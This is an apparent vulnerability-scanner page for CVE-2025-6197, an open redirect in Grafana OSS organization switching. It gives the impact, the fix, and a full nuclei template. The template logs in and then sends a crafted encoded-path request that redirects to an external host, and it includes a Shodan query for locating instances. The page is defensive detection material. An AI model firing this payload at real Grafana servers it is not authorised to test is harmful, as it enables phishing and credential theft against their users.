Open Redirect via Organization Switching

mediumseverity

70.1%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

An open redirect vulnerability has been identified in Grafana OSS organization switching functionality. Prerequisites for exploitation Multiple organizations must exist in the Grafana instance - Victim must be on a different organization than the one specified in the URL

Impact

Authenticated attackers can redirect users to arbitrary external domains through organization switching functionality, enabling phishing attacks and credential theft.

Fix

Upgrade Grafana OSS to the latest version that properly validates redirect URLs in organization switching functionality.

How to confirm it

Send: POST /login
Positive when: contains "Logged in" AND contains in header "grafana_session" AND status 200
Send: GET /%2f%5coast.pro?orgId={{orgid}}
Positive when: status_code == 302 and contains(location, '//\oast.pro?')

Run it with nuclei: nuclei -id CVE-2025-6197 -u <target>

The full check

id: CVE-2025-6197

info:
  name: Open Redirect via Organization Switching
  author: iamnoooob,pdresearch
  severity: medium
  description: |
    An open redirect vulnerability has been identified in Grafana OSS organization switching functionality. Prerequisites for exploitation Multiple organizations must exist in the Grafana instance - Victim must be on a different organization than the one specified in the URL
  impact: |
    Authenticated attackers can redirect users to arbitrary external domains through organization switching functionality, enabling phishing attacks and credential theft.
  remediation: |
    Upgrade Grafana OSS to the latest version that properly validates redirect URLs in organization switching functionality.
  reference:
    - https://grafana.com/blog/2025/07/17/grafana-security-release-medium-and-high-severity-fixes-for-cve-2025-6197-and-cve-2025-6023/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-6197
  metadata:
    verified: true
    max-request: 2
    shodan-query: html:"grafana"
  tags: cve,cve2025,redirect,grafana,open-redirect,vuln

variables:
  username: "{{username}}"
  password: "{{password}}"
  orgid: "{{orgid}}"

flow: http(1) && http(2)

http:

  - raw:
      - |
        POST /login HTTP/1.1
        Host: {{Hostname}}
        accept: application/json, text/plain, */*
        DNT: 1
        content-type: application/json
        Origin: {{RootURL}}
        Referer: {{RootURL}}/login
        Cookie: redirect_to=%2F

        {"user":"{{username}}","password":"{{password}}"}

    extractors:
      - type: dsl
        dsl:
          - username
          - password

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Logged in'
        internal: true

      - type: word
        part: header
        words:
          - 'grafana_session'
        internal: true

      - type: status
        status:
          - 200
        internal: true

  - raw:
      - |
        GET /%2f%5coast.pro?orgId={{orgid}} HTTP/1.1
        Host: {{Hostname}}

    redirects: true

    matchers:
      - type: dsl
        name: open-redirect
        dsl:
          - status_code == 302
          - contains(location, '//\oast.pro?')
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from